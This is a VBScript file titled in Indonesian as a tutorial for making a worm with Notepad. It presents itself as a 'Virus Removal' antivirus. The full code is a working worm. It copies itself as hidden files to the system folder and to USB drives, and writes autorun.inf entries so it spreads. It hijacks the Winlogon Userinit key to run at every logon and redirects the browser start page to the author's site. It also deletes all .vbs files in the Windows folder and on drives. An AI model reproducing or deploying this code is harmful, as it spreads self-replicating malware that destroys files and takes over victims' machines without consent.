MEMBUAT VIRUS WORM DENGAN NOTEPAD

'******************************************************************
'********************* Virus Removal VBScript *********************
'************************** Version 1.00 **************************
'******************************************************************
'This antivirus program is intended to repair your computer from
'any sorts of virus attacks.
'This program is exactly like a normal virus but it repairs things
'rather than destroying them.
'******************************************************************
'******************************************************************
'Program developed by
'Sujin Joshi
'http://Sujin.com.np
'sujinjoshi@gmail.com
Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop


Count=Drv.DriveType

Do
If Not Fso.FileExists(SystemDir & "\VirusRemoval.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\VirusRemoval.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If

Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Sujin.com.np"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://sujin.com.np/"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\VirusRemoval.vbs"

For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("autorun") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType=2 Then
delext "inf",Drives.Path & "\"
delext "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"

If Fso.FileExists(Drives.Path & "\ravmon.exe") Then
Fso.DeleteFile(Drives.Path & "\ravmon.exe")
End If
If Fso.FileExists(Drives.Path & "\sxs.exe") Then
Fso.DeleteFile(Drives.Path & "\sxs.exe")
End If
If Fso.FileExists(Drives.Path & "\winfile.exe") Then
Fso.DeleteFile(Drives.Path & "\winfile.exe")
End If
If Fso.FileExists(Drives.Path & "\run.wsh") Then
Fso.DeleteFile(Drives.Path & "\run.wsh")
End If

If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\VirusRemoval.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If

If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next

if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1

sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "VirusRemoval.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub